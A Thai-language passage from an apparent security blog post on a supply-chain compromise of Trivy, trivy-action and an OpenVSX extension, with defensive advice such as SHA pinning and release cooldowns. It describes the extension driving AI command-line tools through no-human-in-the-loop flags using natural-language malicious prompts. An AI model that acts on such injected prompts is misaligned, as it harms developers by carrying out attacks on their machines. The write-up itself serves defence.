บทเรียนที่ถ่ายทอดได้กว้างที่สุดคือเรื่องความไม่เปลี่ยนรูป (immutability) และมันขัดกับแนวป้องกันที่ดูเหมือนชัดเจน Trivy 0.69.3 ปลอดภัยเพราะฟีเจอร์ immutable releases ของ GitHub ถูกเปิดใช้เมื่อวันที่ 3 มีนาคม ก่อนเวอร์ชันนั้นจะเผยแพร่ ส่วน trivy-action 0.35.0 ปลอดภัยเพราะฟีเจอร์ดังกล่าวถูกเปิดใช้ที่นั่นเมื่อวันที่ 4 มีนาคม แต่คำแนะนำของ Aqua ระบุว่าอินเทอร์เฟซ releases ของ GitHub แสดงป้าย "Immutable" ไว้ข้างแท็กที่ถูกวางยาพิษด้วย เพราะผู้โจมตีเผยแพร่ immutable releases หลังจากการ force-push แท็กเหล่านั้น ป้ายนั้นไม่ได้บอกอะไรที่เป็นประโยชน์แก่ผู้ป้องกันเลย การปักหมุดไปยัง commit SHA แบบเต็มเป็นมาตรการควบคุมเดียวที่ยังคงได้ผล ซึ่งเป็นสิ่งที่ทั้ง Aqua และ Trend Micro แนะนำ

คำแนะนำของ Trend Micro ไปไกลกว่าการปักหมุดเวอร์ชัน และมุ่งเป้าไปที่ส่วนของปัญหาที่ไม่เกี่ยวข้องกับ AI เลย โดยแนะนำให้มีช่วงเว้นระยะหลังการเผยแพร่ (release cooldown) เพื่อไม่ให้นำแพ็กเกจเวอร์ชันที่เพิ่งเผยแพร่ไปใช้ทันที — ของ npm คือ min-release-age, ของ pnpm คือ minimumReleaseAge, ของ uv คือ exclude-newer, ของ Bun คือ minimumReleaseAge และของ pip คือ uploaded-prior-to — ด้วยเหตุผลว่าเวอร์ชันที่เป็นอันตรายส่วนใหญ่ในแคมเปญนี้อยู่บนระบบเพียงไม่กี่ชั่วโมง ไม่ใช่หลายวัน ทั้ง lockfile ช่วงเวอร์ชันที่แคบลง การกรองทราฟฟิกขาออก และการควบคุมการเรียกใช้งานสำหรับเครื่องมืออย่าง curl ล้วนอยู่ในรายการ

สำหรับส่วน OpenVSX ของบันทึกนี้ การตอบสนองจำกัดกว่า บิลด์ทั้งสองถูกลบภายในประมาณเจ็ดชั่วโมงหลังการติดต่อครั้งแรกของ Socket โทเค็นของผู้เผยแพร่ถูกเพิกถอน และคำแนะนำด้านความปลอดภัย GHSA-8mr6-gf9x-j8qg ถูกเผยแพร่เมื่อวันที่ 27 กุมภาพันธ์ โดยระบุกับเวอร์ชัน 1.8.12 ความรุนแรงระดับ critical ไม่มีเวอร์ชันที่แพตช์แล้ว และ CVE-2026-28353 ถูกกำหนดโดย GitHub เมื่อวันที่ 5 มีนาคม Socket รายงานรายละเอียดเพิ่มเติมอีกหนึ่งอย่างเกี่ยวกับคำแนะนำนั้น: ภายหลัง Aqua บอกกับบริษัทว่าคำแนะนำดังกล่าวถูกสร้างโดยบอตตัวเดียวกับที่เกี่ยวข้องกับเหตุการณ์ การที่ผู้โจมตีเป็นผู้ยื่นคำแนะนำด้านความปลอดภัยสำหรับอาร์ติแฟกต์ของตัวเองนั้นไม่ใช่ความล้มเหลวในการลดผลกระทบมากนัก แต่เป็นเครื่องเตือนใจว่าผู้บุกรุกที่มีสิทธิ์เข้าถึงรีโพซิทอรีสามารถเข้าถึงพื้นผิวการตอบสนองได้มากเพียงใด

สิ่งที่ไม่ได้เปลี่ยนแปลงคือส่วนที่สำคัญที่สุด เครื่องมือบรรทัดคำสั่งห้ารายการยังคงมาพร้อมแฟล็กที่มีจุดประสงค์เพื่อการทำงานโดยไม่มีมนุษย์อยู่ในวงจร และโปรแกรมใดก็ได้บนเครื่องของนักพัฒนาสามารถเรียกใช้เครื่องมือเหล่านั้นด้วยแฟล็กดังกล่าวได้ ข้อสังเกตปิดท้ายของ Socket คือสิ่งที่ยังคงใช้ได้แม้พ้นจากเลขเวอร์ชันเฉพาะเจาะจง เจตนาเป็นอันตรายในที่นี้ถูกแสดงออกด้วยภาษาธรรมชาติแทนที่จะเป็นปลายทางที่กำหนดตายตัวไว้ ซึ่งเป็นสิ่งที่การสแกนแบบอาศัยลายเซ็นตรวจจับได้แย่ที่สุดพอดี ส่วนขยายไม่ได้ถูกจับได้เพราะมันทำอะไรที่สแกนเนอร์รู้จัก มันถูกจับได้เพราะนักวิจัยอ่านพรอมป์ต์

© 2026 OrcaRouter

สำหรับผู้ให้บริการ

ให้บริการแพลตฟอร์มการอนุมานอยู่หรือไม่ นำโมเดลของคุณขึ้น OrcaRouter

[email protected]

เข้าร่วมคอมมูนิตี้ของเรา

Discord[email protected]XLinkedInGitHubYouTube